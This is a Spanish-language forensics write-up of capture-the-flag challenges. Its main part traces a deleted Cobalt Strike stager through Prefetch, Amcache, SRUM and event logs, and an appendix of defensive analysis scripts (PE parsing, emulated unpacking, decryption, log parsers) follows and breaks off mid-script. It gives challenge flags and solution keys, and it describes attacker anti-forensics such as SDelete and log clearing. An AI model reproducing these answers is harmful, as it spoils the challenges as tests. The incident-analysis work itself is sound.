VT_KEY="TU_API_KEY" bash vt_lookup.sh 409aea9461d03bff3e006d3e7e7c4790a0862170 \
  99e107ca419959385ca57241fb6ed3796eaacc9e de275b64985009d335ab85b38d26a3026739a68a
```

Qué hace cada parte

| | |
|---|---|
| `vt_lookup.sh` | script: `curl` a la API v3 de VirusTotal por cada hash y `jq` para extraer MD5, nombre, familia y detecciones; espera 16 s entre consultas |

Salida obtenida (con tu clave de VirusTotal)

```
== 409aea9461d03bff3e006d3e7e7c4790a0862170
MD5: dbe0e10775e35a58e8ff463ccbe5f7d8
Nombre: httpd.exe
Familia: trojan.cobaltstrike/fugrafa
Detecciones: 61
== 99e107ca419959385ca57241fb6ed3796eaacc9e
MD5: 3e6f1f16a4cbbf7c5a5c077ab197bb50
Nombre: tag_converter.exe
Familia: null
Detecciones: 3
== de275b64985009d335ab85b38d26a3026739a68a
MD5: null
Nombre: null
Familia: null
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| **2** | `MD5: dbe0e10775e35a58e8ff463ccbe5f7d8` | MD5 de `httpd.exe` |
| **4** | `Familia: trojan.cobaltstrike/fugrafa` | familia **Cobalt Strike**, 61 antivirus |
| **8** | `Nombre: tag_converter.exe` | `tor.exe` es un programa casi inocuo renombrado |
| **12** | `MD5: null` | `inject.exe` no está en VirusTotal |

**Pista (línea 4)**

**Flag:** `flag{dbe0e10775e35a58e8ff463ccbe5f7d8}`

**Siguiente paso:** Enviar.

**Errores posibles**

| | |
|---|---|
| `WrongCredentialsError` | clave mal copiada |
| `QuotaExceededError` | más de 4 consultas por minuto: esperar |

## 9.7. Resultado

**Flag de H0rr0crux**

`flag{dbe0e10775e35a58e8ff463ccbe5f7d8}`

Binario: `C:\Users\Gregor\AppData\Roaming\Microsoft\Windows\httpd.exe` — 15.360 bytes, PE32, SHA1 `409aea9461d03bff3e006d3e7e7c4790a0862170`, MD5 `dbe0e10775e35a58e8ff463ccbe5f7d8`, detectado como `trojan.cobaltstrike/fugrafa`.

## 9.8. Línea de tiempo (20/12/2021, UTC)

| Hora | Evento | Fuente |
|---|---|---|
| 12:44–12:45 | Instalación de WinSCP 5.19.5 | Prefetch |
| 12:50:49 | `runas.exe` llega por *drag & drop* desde el anfitrión | `$MFT` |
| 12:51:10 | Ejecución de `AppData\Local\Microsoft\uninstall.exe` (PE Look) | Prefetch, Amcache |
| 12:51:29–12:51:45 | Instalador Inno Setup (`PACKED.TMP`) de VMProtect Demo | Prefetch |
| 12:52:23–26 | Llega `inject.exe`; falla al arrancar (faltan MSVCP140 y VCRUNTIME140) | `$MFT`, System.evtx (ID 26) |
| 12:53:25 | `VMProtect.exe` | Prefetch |
| 12:56:21 | Primera ejecución de `AppData\runas.exe` (SDelete) | Prefetch |
| 13:01–13:02 | Último evento en Application, Security y System | `.evtx` |
| 13:08:03 | Defender detecta `inject.exe` (`Trojan:Win32/Sabsik.TE.A!ml`) | Defender |
| 13:08:50 | Segunda ejecución de SDelete | Prefetch |
| 13:09:01 | Ejecución de `AppData\Local\Temp\tor.exe` | Prefetch |
| **13:09:30** | **Llega `httpd.exe` por *drag & drop*** | `$MFT` |
| 13:10:39, 13:11:57 | **`httpd.exe` se cuelga** (informes WER `AppCrash_httpd.exe_...`) | `$MFT` |
| 13:12:15 | Última de 12 ejecuciones de `wevtutil` | Prefetch |
| 15:03:39 | Tercera ejecución de SDelete | Prefetch |
| 15:04 | Defender pone en cuarentena `inject.exe` | Defender |
| 15:07:16 | Segunda ejecución de `tor.exe` | Prefetch |
| **14:53–15:53** | **`httpd.exe`: 800 B enviados / 1.214 B recibidos** | **SRUM** |
| 15:09–15:23 | El analista ejecuta FTK Imager y copia las evidencias a `Desktop\evidencias` | Prefetch, `$MFT` |

## 9.9. Candidatos y señuelos

| Binario | Qué es realmente | Veredicto |
|---|---|---|
| `Downloads\inject.exe` | 226.304 B, x64. Defender: `Sabsik.TE.A!ml` (detección genérica por ML). No está en VirusTotal | Señuelo: **nunca llegó a ejecutarse** (faltaban DLL) |
| `AppData\runas.exe` | **SDelete** 2.04 de Sysinternals (`OriginalFileName = sdelete.exe`) | Herramienta **antiforense**: borró el malware |
| `AppData\Local\Microsoft\uninstall.exe` | **PE Look** 1.73 (`pelook.exe`, bytepointer.com) | Herramienta de análisis renombrada, sin red |
| `packed.exe`, `PACKED.TMP` | Instalador de **VMProtect Demo** | Herramienta de empaquetado |
| `AppData\Local\Temp\tor.exe` | 231.936 B, sin metadatos; VirusTotal: `tag_converter.exe`, 3 detecciones, sin familia | Señuelo (el Tor real pesa varios MB); **sin tráfico en SRUM** |
| **`AppData\Roaming\Microsoft\Windows\httpd.exe`** | 15.360 B, PE32, *Microsoft Operating System 1.0.0.0* (falso), compilado el 09/06/2020; VirusTotal: **Cobalt Strike**, 61 detecciones | **Responsable de las conexiones** |

## 9.10. Qué aporta cada artefacto

| | |
|---|---|
| **Prefetch** | Qué se ejecutó, cuántas veces, cuándo y desde qué ruta. |
| **Amcache.hve** | SHA1, tamaño, fecha de compilación y metadatos de versión (`OriginalFileName`, *publisher*): destapa los ejecutables renombrados y conserva el hash de ficheros ya borrados. |
| **SRUM** (`SRUDB.dat`) | Bytes enviados y recibidos por aplicación y por hora: **decide quién hizo las conexiones**. |
| **$MFT** | Nombres e índices de directorios: *drag & drop* de VirtualBox, informes WER de *crash* y ausencia del fichero borrado. |
| **PCA** (`ntuser.dat.LOG2`) | El *Program Compatibility Assistant* registra la ruta de `httpd.exe` como ejecutada. |
| **.evtx** | Detección de Defender, fallo de arranque de `inject.exe` y logs recortados. |
| **VirusTotal** | Convierte el SHA1 de Amcache en MD5 e identifica la familia. |

## 9.11. ¿Por qué Cobalt Strike y no Gozi?

El enunciado dice que las conexiones "*podrían* estar relacionadas con el malware Gozi": es una hipótesis del SOC, no un hecho. Lo que se pide es "el binario dañino **responsable de las conexiones**", y las evidencias son unánimes: SRUM atribuye el tráfico a `httpd.exe`, es el único de los candidatos que es malware confirmado y se disfraza de Microsoft. Además, en intrusiones reales **Gozi/Ursnif** se usa a menudo como acceso inicial y después despliega **Cobalt Strike**, así que la sospecha inicial del SOC encaja con lo encontrado.

## 9.12. Indicadores de compromiso (IOC)

| | |
|---|---|
| Ruta | `C:\Users\Gregor\AppData\Roaming\Microsoft\Windows\httpd.exe` |
| MD5 | `dbe0e10775e35a58e8ff463ccbe5f7d8` |
| SHA1 | `409aea9461d03bff3e006d3e7e7c4790a0862170` |
| Metadatos falsos | `ProductName: Microsoft Operating System`, `FileVersion 1.0.0.0`, `LinkDate 2020-06-09 00:17:15` |
| Herramientas del atacante | SDelete renombrado (`AppData\runas.exe`, SHA1 `4aa4b498...5c3af5f6b8d97`), `wevtutil` |

## 9.13. Técnicas observadas (MITRE ATT&CK)

| | |
|---|---|
| T1036 | *Masquerading*: `httpd.exe` con metadatos de Microsoft; SDelete como `runas.exe`; `tag_converter.exe` como `tor.exe`. |
| T1071.001 | *Application Layer Protocol: Web*: el *stager* de Cobalt Strike se comunica por HTTP. |
| T1070.001 | *Indicator Removal: Clear Windows Event Logs*: `wevtutil`. |
| T1070.004 | *Indicator Removal: File Deletion*: SDelete. |
| T1027.002 | *Software Packing*: VMProtect Demo instalado en el equipo. |

## 9.14. Contexto: ¿por qué se llama así?

- Un **Horrocrux** (*Harry Potter*) es un objeto en el que Voldemort esconde un fragmento de su alma para no morir: para vencerlo hay que encontrarlos y destruirlos todos.
- **Sorvolo Gaunt** (*Marvolo Gaunt* en inglés), abuelo de Voldemort, poseía el **anillo con la Piedra de la Resurrección** que Voldemort convirtió en Horrocrux: es el anillo de la imagen del reto y da nombre al fichero `evidencias_sorvologaunt`.
- **Paralelismo**: el "cuerpo" del malware fue destruido (borrado con SDelete y equipo restaurado), pero su "alma" quedó repartida en varios artefactos: Amcache (SHA1), SRUM (red), `$MFT` (llegada y *crashes*), PCA y Prefetch. Hay que reunir los fragmentos para identificarlo, igual que hay que localizar todos los Horrocruxes.
- **Gozi** (Ursnif, ISFB, Dreambot) es un troyano bancario de 2007, uno de los más longevos. Su código se filtró en 2010 y 2015 y dio lugar a decenas de variantes; algunas usan Tor para el C2 (de ahí el señuelo `tor.exe`).
- **Cobalt Strike** es una plataforma comercial de *red team* (Raphael Mudge, 2012) cuyo agente se llama *Beacon*. Las versiones crackeadas la han convertido en una de las herramientas favoritas de los atacantes. Sus *stagers* `.exe` pesan unos 14–15 KB, como este `httpd.exe`. **Fugrafa** es el nombre genérico que dan algunos antivirus a este tipo de binarios.
- **httpd.exe** imita al demonio del servidor web Apache (*HTTP daemon*): un proceso con ese nombre haciendo tráfico HTTP pasa desapercibido.

## 9.15. Conclusión

Con el fichero borrado, ningún artefacto por sí solo bastaba: Prefetch y Amcache dan la lista de sospechosos y el SHA1; los eventos y la `$MFT` descartan señuelos y reconstruyen la secuencia; SRUM identifica sin ambigüedad qué binario generó el tráfico; y la inteligencia de amenazas convierte el SHA1 en MD5 y confirma la familia.

# A. Cómo funciona cada script

## A.1. `pe_info.py`

**Librería:** pefile

1. Abre el ejecutable con `pefile.PE()`, que interpreta las cabeceras DOS, PE y opcional.
2. Imprime máquina, fecha de compilación (`TimeDateStamp`), número de secciones, punto de entrada y `SizeOfImage`.
3. Recorre las secciones y calcula su entropía (cerca de 8 = datos comprimidos o cifrados).
4. Lee los recursos de versión (`ProductName`, `OriginalFilename`...) y la lista de DLL y funciones importadas.

**pe_info.py**

```
#!/usr/bin/env python3
"""Resumen de un ejecutable PE: cabecera, secciones (con entropía), recursos de versión e imports.

Requiere: pip install pefile
Uso: python3 pe_info.py fichero.exe
"""
import datetime
import sys

import pefile

pe = pefile.PE(sys.argv[1])
fh, oh = pe.FILE_HEADER, pe.OPTIONAL_HEADER
print(f"Machine          : {hex(fh.Machine)}  ({'x86' if fh.Machine == 0x14c else 'x64' if fh.Machine ==
    ↪ 0x8664 else '?'})")
print(f"TimeDateStamp    : {datetime.datetime.fromtimestamp(fh.TimeDateStamp, datetime.timezone.utc):%Y-%
    ↪ m-%d %H:%M:%S} UTC")
print(f"e_lfanew         : {hex(pe.DOS_HEADER.e_lfanew)}")
print(f"NumberOfSections : {fh.NumberOfSections}")
print(f"ImageBase        : {hex(oh.ImageBase)}")
print(f"EntryPoint (RVA) : {hex(oh.AddressOfEntryPoint)}")
print(f"SizeOfImage      : {hex(oh.SizeOfImage)}  ({oh.SizeOfImage / 1048576:.1f} MB)")
print(f"Subsystem        : {oh.Subsystem}")
dd = oh.DATA_DIRECTORY
print(f"DataDirectories  : {len(dd)}")
print(f"Firma Authenticode: {'sí' if len(dd) > 4 and dd[4].Size else 'no'}")
if pe.sections:
    print("\nSecciones:")
    for s in pe.sections:
        print(f"  {s.Name.rstrip(b'\0').decode(errors='replace'):8s} VA={hex(s.VirtualAddress):9s} "
              f"VSize={hex(s.Misc_VirtualSize):9s} Raw={hex(s.SizeOfRawData):8s} entropía={s.get_entropy
    ↪ ():.2f}")
for fi in getattr(pe, "FileInfo", []) or []:
    for entry in fi:
        for st in getattr(entry, "StringTable", []):
            print("\nRecursos de versión:")
            for k, v in st.entries.items():
                print(f"  {k.decode(errors='replace'):18s} = {v.decode(errors='replace')}")
imports = getattr(pe, "DIRECTORY_ENTRY_IMPORT", [])
if imports:
    print("\nImports:")
    for d in imports:
        names = [i.name.decode() if i.name else f"ord{i.ordinal}" for i in d.imports]
        print(f"  {d.dll.decode()}: {len(names)} funciones -> {', '.join(names[:8])}{' ...' if len(names)
    ↪  > 8 else ''}")
```

## A.2. `kraken_emu.py`

**Librería:** unicorn

1. Crea una CPU x86 de 32 bits con `Uc(UC_ARCH_X86, UC_MODE_32)`.

2. Reserva memoria en 0x400000 del tamaño de `SizeOfImage` (500 MB) y copia allí el fichero; crea una pila.
3. Coloca un *hook* que solo se activa al ejecutar direcciones >= 0x420000: así el descompresor corre a máxima velocidad.
4. Arranca en el punto de entrada 0x40005c; cuando el código salta a 0x420000, detiene la emulación.
5. Vuelca 64 KB desde 0x420000 a `unpacked.bin`. El `.exe` nunca se ejecuta en el sistema.

**kraken_emu.py**

```
#!/usr/bin/env python3
"""Emula el descompresor de TheKraken.exe con Unicorn y vuelca el código desempaquetado.

Uso: python3 kraken_emu.py TheKraken.exe salida.bin
No ejecuta el binario en el sistema: solo emula la CPU x86 sobre un buffer de memoria.
"""
import sys
from unicorn import Uc, UcError, UC_ARCH_X86, UC_MODE_32, UC_HOOK_CODE, UC_HOOK_MEM_UNMAPPED
from unicorn.x86_const import UC_X86_REG_ESP, UC_X86_REG_EIP

src, out = sys.argv[1], sys.argv[2]
data = open(src, "rb").read()

BASE = 0x400000
IMG = 0x1F430000          # SizeOfImage completo (~500 MB): el descompresor usa tablas hash ahí
STACK = 0x00100000

mu = Uc(UC_ARCH_X86, UC_MODE_32)
mu.mem_map(BASE, IMG)
mu.mem_write(BASE, data)
mu.mem_map(STACK, 0x100000)
mu.reg_write(UC_X86_REG_ESP, STACK + 0x100000 - 0x100)

EP = BASE + 0x5C
state = {"n": 0, "target": None}

def on_code(uc, addr, size, _):
    state["n"] += 1
    # El descompresor vive en la cabecera (0x400000-0x401000); cuando salta
    # a la zona de destino (>= 0x420000) el código ya está desempaquetado.
    if addr >= 0x420000 and state["target"] is None:
        state["target"] = addr
        uc.emu_stop()

def on_unmapped(uc, access, addr, size, value, _):
    print(f"[!] acceso a memoria no mapeada en {addr:#x} (eip={uc.reg_read(UC_X86_REG_EIP):#x})")
    return False

# Hook solo sobre la zona destino: el descompresor corre sin callbacks (mucho más rápido)
mu.hook_add(UC_HOOK_CODE, on_code, begin=0x420000, end=0x7FFFFFFF)
mu.hook_add(UC_HOOK_MEM_UNMAPPED, on_unmapped)
try:
    mu.emu_start(EP, BASE + IMG, count=0)
except UcError as e:
    print("[!] UcError:", e, "eip=", hex(mu.reg_read(UC_X86_REG_EIP)))

print(f"instrucciones emuladas: {state['n']:,}")
print("salto a código desempaquetado:", hex(state["target"]) if state["target"] else None)
dump = bytes(mu.mem_read(0x420000, 0x10000))
open(out, "wb").write(dump)
print(f"volcado 0x420000..0x430000 -> {out}")
```

## A.3. `kraken_solve.py`

**Librería:** (Python puro)

1. Lee la lista de funciones de kernel32 y calcula para cada nombre el hash del resolver: `h = rol(h,6) xor carácter`, incluido el byte nulo.
2. Lee los 8 hashes guardados en el offset 0x108 del exe y busca qué nombre produce cada uno.
3. Reproduce el bucle de descifrado del main con los 23 bytes cifrados para los 256 valores posibles de la clave.
4. Muestra solo los resultados imprimibles terminados en byte nulo (cadena C válida).

**kraken_solve.py**

```
#!/usr/bin/env python3
"""Resuelve The Kraken.

1) Identifica las 8 APIs de kernel32 que importa el código desempaquetado, comparando
   el hash del resolver (rol edi,6 ; xor edi,char  -- incluye el byte nulo final)
   con la tabla de hashes que hay en el exe (offset 0x108).
2) Reproduce el bucle de descifrado del main (0x42009f) para los 256 posibles valores
   del byte bajo devuelto por la API [0x430000] y muestra los que dan texto legible.

Uso: python3 kraken_solve.py TheKraken.exe kernel32_exports.txt   (o un kernel32.spec de Wine)
"""
import re
import struct
import sys

exe = open(sys.argv[1], "rb").read()
spec = open(sys.argv[2]).read()

def rol32(x, n):
    return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF

def crinkler_hash(name: bytes) -> int:
    h = 0
    for c in name + b"\x00":
        h = rol32(h, 6) ^ c
    return h

names = set()
for line in spec.splitlines():
    line = line.split("#")[0].strip()
    if re.fullmatch(r"[A-Za-z_][A-Za-z0-9_]*", line):  # lista simple: un nombre por línea
        names.add(line)
        continue
    m = re.match(r"^(?:@|\d+)\s+\S+\s+(?:-\S+\s+)*([A-Za-z_][A-Za-z0-9_]*)", line)  # formato .spec de
    ↪ Wine
    if m:
        names.add(m.group(1))
table = {crinkler_hash(n.encode()): n for n in names}

hashes = struct.unpack_from("<8I", exe, 0x108)
print("== Imports resueltos (IAT en 0x430000) ==")
for i, h in enumerate(hashes):
    print(f"  [0x{0x430000 + 4*i:06x}]  hash={h:#010x}  ->  {table.get(h, '???')}")

# Array de 23 bytes construido en el main (mov byte [ebp-0x1c+i], imm8)
enc = bytes.fromhex("e57a77fbe15668fdfdf8790102ff7d837e8667666466cd")

def decrypt(k: int) -> bytes:
    out = bytearray()
    for i, c in enumerate(enc):
        c ^= 0x7C
        c = (c + k) & 0xFF
        c = (-c) & 0xFF
        c = ((c >> 7) | (c << 1)) & 0xFF   # rol8(c, 1)
        c = (c - i) & 0xFF
        out.append(c)
    return bytes(out)

print("\n== Candidatos legibles según el byte bajo devuelto por [0x430000] ==")
for k in range(256):
```

```
    p = decrypt(k)
    # Texto imprimible terminado en byte nulo (cadena C que recibe OutputDebugStringA)
    if p.endswith(b"\x00") and all(32 <= b < 127 for b in p[:-1]):
        print(f"  k={k:#04x} ({k:3d}): {p[:-1].decode()!r} + '\\x00'")
```

## A.4. rtf_url.py

**Librería:** (Python puro)

1. Extrae el texto hexadecimal que hay tras `\objdata` y lo convierte a bytes.
2. Busca el CLSID del URL Moniker (`e0c9ea79f9bace118c8200aa004ba90b`).
3. Lee los 4 bytes siguientes (longitud) y la URL codificada en UTF-16 hasta el primer nulo.

**rtf_url.py**

```
#!/usr/bin/env python3
"""Extrae la(s) URL(s) de los URL Moniker que hay dentro de los objetos OLE de un RTF.

Busca en \\objdata el CLSID del URL Moniker {79EAC9E0-BAF9-11CE-8C82-00AA004BA90B}
(en bytes: e0c9ea79f9bace118c8200aa004ba90b), lee la longitud (4 bytes) y la URL en UTF-16LE.
Uso: python3 rtf_url.py Nominas.rtf
"""
import re
import sys

rtf = open(sys.argv[1], encoding="latin-1").read()
CLSID = bytes.fromhex("e0c9ea79f9bace118c8200aa004ba90b")
for n, part in enumerate(rtf.split(r"{\*\objdata")[1:]):
    hexdata = re.sub(r"[^0-9a-fA-F]", "", part.split("}")[0])
    data = bytes.fromhex(hexdata[: len(hexdata) // 2 * 2])
    pos = data.find(CLSID)
    while pos >= 0:
        size = int.from_bytes(data[pos + 16:pos + 20], "little")
        url = data[pos + 20:pos + 20 + size].decode("utf-16le", "replace").split("\x00")[0]
        print(f"objeto {n}: URL Moniker en offset {pos:#x}, campo de {size} bytes")
        print(f"  URL exacta: {url!r}  ({len(url)} caracteres)")
        pos = data.find(CLSID, pos + 1)
```

## A.5. go_pclntab.py

**Librería:** pyelftools

1. Abre el ELF y lee la sección `.gopclntab`; comprueba la firma 0xfffffffb (formato de Go 1.2–1.15).
2. Lee el número de funciones y, para cada una, su dirección y el desplazamiento de su estructura `_func`.
3. De cada `_func` toma el desplazamiento del nombre y lo lee como texto. Tiene en cuenta el orden de bytes (big-endian en MIPS).

**go_pclntab.py**

```
#!/usr/bin/env python3
"""Parser mínimo de .gopclntab (Go 1.2-1.15, magic 0xfffffffb) para binarios stripped.

Uso: python3 go_pclntab.py BINARIO [filtro]
Imprime: dirección_inicio  dirección_fin  nombre_función
"""
import struct
import sys

from elftools.elf.elffile import ELFFile
```

```
path = sys.argv[1]
filt = sys.argv[2] if len(sys.argv) > 2 else None

with open(path, "rb") as fh:
    elf = ELFFile(fh)
    sec = elf.get_section_by_name(".gopclntab")
    tab = sec.data()
    end = ">" if not elf.little_endian else "<"

magic = struct.unpack_from(end + "I", tab, 0)[0]
assert magic == 0xFFFFFFFB, hex(magic)
ptrsize = tab[7]
P = "I" if ptrsize == 4 else "Q"
nftab = struct.unpack_from(end + P, tab, 8)[0]
off = 8 + ptrsize
funcs = []
for i in range(nftab):
    pc, foff = struct.unpack_from(end + P + P, tab, off + i * 2 * ptrsize)
    nameoff = struct.unpack_from(end + "i", tab, foff + ptrsize)[0]
    name = tab[nameoff:tab.index(b"\x00", nameoff)].decode(errors="replace")
    funcs.append((pc, name))
endpc = struct.unpack_from(end + P, tab, off + nftab * 2 * ptrsize)[0]
for i, (pc, name) in enumerate(funcs):
    nxt = funcs[i + 1][0] if i + 1 < len(funcs) else endpc
    if filt is None or filt in name:
        print(f"{pc:#010x} {nxt:#010x} {name}")
```

## A.6. `go_mips_disasm.py`

**Librería:** capstone, pyelftools

1. Obtiene direcciones y nombres de funciones llamando a `go_pclntab.py`.
2. Lee los bytes de la función pedida y los desensambla con Capstone en modo MIPS32 big-endian.
3. En cada `jal` (llamada) añade el nombre de la función destino.
4. Detecta pares `lui` + `addiu` que forman una dirección de 32 bits y, si apunta a texto, muestra la cadena.

**go_mips_disasm.py**

```
#!/usr/bin/env python3
"""Desensambla funciones de un binario Go MIPS32 big-endian stripped, anotando
llamadas (jal) con el nombre de la función (vía .gopclntab) y referencias lui/addiu
a .rodata con la cadena que apuntan.

Uso: python3 go_mips_disasm.py BINARIO nombre_funcion [nombre_funcion...]
"""
import subprocess
import sys

from capstone import Cs, CS_ARCH_MIPS, CS_MODE_MIPS32, CS_MODE_BIG_ENDIAN
from elftools.elf.elffile import ELFFile

path = sys.argv[1]
wanted = sys.argv[2:]
here = __file__.rsplit("/", 1)[0]
out = subprocess.run([sys.executable, "-I", f"{here}/go_pclntab.py", path],
                     capture_output=True, text=True, check=True).stdout
funcs = {}
for line in out.splitlines():
    s, e, n = line.split(maxsplit=2)
    funcs[n] = (int(s, 16), int(e, 16))
by_addr = {v[0]: k for k, v in funcs.items()}

fh = open(path, "rb")
elf = ELFFile(fh)
segs = [(s["p_vaddr"], s["p_filesz"], s.data()) for s in elf.iter_segments() if s["p_type"] == "PT_LOAD"]
```

```
def read(addr, n):
    for va, sz, data in segs:
        if va <= addr < va + sz:
            o = addr - va
            return data[o:o + n]
    return b""

def preview(addr):
    b = read(addr, 64)
    if not b:
        return None
    s = b.split(b"\x00")[0][:48]
    if len(s) >= 3 and all(32 <= c < 127 for c in s):
        return s.decode()
    return None

md = Cs(CS_ARCH_MIPS, CS_MODE_MIPS32 + CS_MODE_BIG_ENDIAN)
for name in wanted:
    s, e = funcs[name]
    print(f"\n===== {name}  [{s:#x}-{e:#x}] =====")
    lui = {}
    for ins in md.disasm(read(s, e - s), s):
        note = ""
        ops = ins.op_str.replace("$", "").split(", ")
        if ins.mnemonic == "lui":
            lui[ops[0]] = int(ops[1], 0) << 16
        elif ins.mnemonic in ("addiu", "ori", "lw", "lbu", "lh", "lhu") and len(ops) >= 2:
            if ins.mnemonic in ("addiu", "ori") and ops[1] in lui:
                imm = int(ops[2], 0)
                addr = (lui[ops[1]] + (imm if ins.mnemonic == "addiu" else imm)) & 0xFFFFFFFF
                p = preview(addr)
                note = f"  ; {addr:#x}" + (f' "{p}"' if p else "")
        if ins.mnemonic == "jal":
            tgt = int(ins.op_str, 0)
            note = f"  ; -> {by_addr.get(tgt, '?')}"
        print(f"{ins.address:#x}: {ins.mnemonic:8s} {ins.op_str}{note}")
```

## A.7. go_decrypt.py

**Librería:** pycryptodome

1. Decodifica la cadena Base64-URL (añadiendo el relleno = que falte).
2. Separa IV (16 primeros bytes) y texto cifrado (32 bytes).
3. Descifra con AES-128 en modo CFB de 128 bits con cada una de las tres claves.
4. Comprueba el relleno PKCS#7 (N bytes de valor N) y lo quita si es válido.

**go_decrypt.py**

```
#!/usr/bin/env python3
"""Go go go!: descifra la cadena AES-CFB embebida en LetsGo con las 3 claves candidatas.

Requiere: pip install pycryptodome
Uso: python3 go_decrypt.py
"""
import base64

from Crypto.Cipher import AES

CT_B64 = "wD5qPxNCP5yKQaYC7MzpWTNmZRQctNbaDCoJqGDSBkNjzwqkSQ_F7F6FYhFyD4Hk"  # rodata 0x159cb1
raw = base64.urlsafe_b64decode(CT_B64 + "=" * (-len(CT_B64) % 4))
iv, ct = raw[:16], raw[16:]
for key in (b"1KH1hb001YO9olUo", b"1KH1hb001YO9olU1", b"1KH1hb001YO9olU2"):
    pt = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128).decrypt(ct)
    pad = pt[-1]
    ok = 1 <= pad <= 16 and pt.endswith(bytes([pad]) * pad)
```

```
    print(key.decode(), "->", pt[:-pad] if ok else pt, "(PKCS7 OK)" if ok else "")
```

## A.8. prefetch_timeline.sh

**Librería:** sccainfo (libscca)

1. Para cada `.pf` ejecuta `sccainfo` y extrae nombre del ejecutable, número de ejecuciones y última ejecución.
2. Busca entre los ficheros que cargó el programa la ruta completa de su propio ejecutable.
3. Quita el prefijo `\VOLUME{...}`, filtra por la expresión indicada y ordena por fecha.

**prefetch_timeline.sh**

```
#!/usr/bin/env bash
# Línea de tiempo de ejecución a partir de los ficheros Prefetch (.pf) de Windows 10.
# Muestra: última ejecución (UTC) | nº de ejecuciones | ruta completa del ejecutable.
# Requiere: sccainfo (paquete libscca-utils)
# Uso: prefetch_timeline.sh <carpeta Prefetch> [filtro_regex]
set -u
dir="$1"; filtro="${2:-.}"
for f in "$dir"/*.pf; do
  out=$(sccainfo "$f" 2>/dev/null) || continue
  exe=$(printf '%s\n' "$out" | grep -m1 'Executable filename' | awk -F': ' '{print $2}')
  ruta=$(printf '%s\n' "$out" | grep -E 'Filename: [0-9]+' | grep -iF "\\$exe" | head -1 | awk -F': ' '{
     print $NF}')
  veces=$(printf '%s\n' "$out" | grep -m1 'Run count' | awk -F': ' '{print $2}')
  ultima=$(printf '%s\n' "$out" | grep -m1 'Last run time: 1' | awk -F': ' '{print $NF}')
  printf '%s | %s | %s\n' "$ultima" "$veces" "$ruta"
done | sed 's/\\VOLUME{[^}]*}//' | grep -iE "$filtro" | sort -t'|' -k1
```

## A.9. amcache_dump.py

**Librería:** regipy

1. Abre `Amcache.hve` como fichero de registro y entra en `Root\InventoryApplicationFile`.
2. Cada subclave es un ejecutable visto por Windows: lee `LowerCaseLongPath`, `FileId` (0000 + SHA1), `Size`, `LinkDate`, `Publisher` y `OriginalFileName`.
3. Imprime una línea por ejecutable separada por tabuladores.

**amcache_dump.py**

```
#!/usr/bin/env python3
"""Vuelca InventoryApplicationFile de Amcache.hve (ruta, SHA1, tamaño, fecha de enlace, publisher).

Uso: python3 amcache_dump.py Amcache.hve [--todo]
Sin --todo oculta binarios de Windows/Program Files (salvo Temp y VMProtect).
"""
import sys

from regipy.registry import RegistryHive

hive = RegistryHive(sys.argv[1])
show_all = "--todo" in sys.argv
key = hive.get_key(r"\Root\InventoryApplicationFile")
n = 0
for sk in key.iter_subkeys():
    v = {x.name: x.value for x in sk.iter_values()}
    path = (v.get("LowerCaseLongPath") or "")
    n += 1
    if not show_all:
        if "\\windows\\" in path and "\\temp\\" not in path:
```

```
            continue
        if "\\program files" in path and "vmprotect" not in path:
            continue
    sha1 = (v.get("FileId") or "")[4:]
    print(f"{sha1}\t{v.get('Size')}\t{v.get('LinkDate')}\t{v.get('Publisher')}\t{v.get('OriginalFileName
    ↪ ')}\t{path}")
print(f"# entradas totales: {n}", file=sys.stderr)
```

## A.10. evtx_grep.py

**Librería:** python-evtx

1. Recorre todos los registros del `.evtx` y obtiene cada uno en XML.
2. Filtra por número de evento (`-ids`) y por el texto buscado.
3. Imprime fecha, ID y los campos `<Data Name=...>` del evento.

**evtx_grep.py**

```
#!/usr/bin/env python3
"""Imprime los eventos de un .evtx (EventID, fecha y campos de EventData) que contengan un texto.

Uso: python3 evtx_grep.py fichero.evtx [texto] [--ids 1116,1117]
"""
import re
import sys

import warnings
warnings.filterwarnings("ignore", category=SyntaxWarning)  # avisos internos de python-evtx

import Evtx.Evtx as evtx

path = sys.argv[1]
needle = sys.argv[2].lower() if len(sys.argv) > 2 and not sys.argv[2].startswith("--") else None
ids = None
if "--ids" in sys.argv:
    ids = set(sys.argv[sys.argv.index("--ids") + 1].split(","))

with evtx.Evtx(path) as log:
    for rec in log.records():
        xml = rec.xml()
        eid = re.search(r"<EventID[^>]*>(\d+)<", xml).group(1)
        if ids and eid not in ids:
            continue
        if needle and needle not in xml.lower():
            continue
        ts = re.search(r'SystemTime="([^"]+)"', xml).group(1)
        print(f"=== EventID {eid}  {ts}")
        for name, val in re.findall(r'<Data Name="([^"]+)">([^<]*)</Data>', xml):
            if val and val not in ("%%830", "0", "0x0"):
                print(f"   {name}: {val}")
        if "<Data Name" not in xml:
            for val in re.findall(r"<Data>([^<]*)</Data>", xml):
                print("   ", val)
```

## A.11. evtx_range.py

**Librería:** python-evtx

1. Cuenta los eventos de cada fichero y muestra la fecha del primero y del último.
2. Si varios logs terminan a la misma hora mientras otros siguen, indica borrado o parada del registro.

**evtx_range.py**

```
#!/usr/bin/env python3
"""Número de eventos y rango de fechas (primer y último evento) de uno o varios .evtx.

Sirve para detectar logs borrados o cortados (por ejemplo, tras usar wevtutil).
Requiere: python3-evtx
Uso: python3 evtx_range.py Fichero1.evtx [Fichero2.evtx ...]
"""
import os
import re
import sys

import warnings
warnings.filterwarnings("ignore", category=SyntaxWarning)  # avisos internos de python-evtx

import Evtx.Evtx as evtx

for path in sys.argv[1:]:
    ts = []
    with evtx.Evtx(path) as log:
        for rec in log.records():
            m = re.search(r'SystemTime="([^"]+)"', rec.xml())
            if m:
                ts.append(m.group(1)[:19])
    name = os.path.basename(path)
    if ts:
        print(f"{name:45s} {len(ts):6d} eventos   {min(ts)}  ->  {max(ts)}")
    else:
        print(f"{name:45s}      0 eventos")
```

## A.12. srum_net.py

**Librería:** (Python puro, sobre la exportación de esedbexport)

1. Lee `SruDbIdMapTable` y convierte cada `IdBlob` (UTF-16 en hexadecimal) en el nombre de la aplicación.
2. Lee la tabla de uso de red `{973F5D5C-1D90-4944-BE8E-24B94231A174}` (bytes enviados y recibidos por aplicación y hora).
3. Une ambas por `AppId` e imprime fecha, bytes y aplicación.

**srum_net.py**

```
#!/usr/bin/env python3
"""Uso de red por aplicación a partir de la tabla SRUM exportada con esedbexport.

Uso:
  esedbexport -t srum SRUDB.dat
  python3 srum_net.py srum.export
"""
import csv
import glob
import os
import sys

csv.field_size_limit(10**9)
d = sys.argv[1]

def rows(pattern):
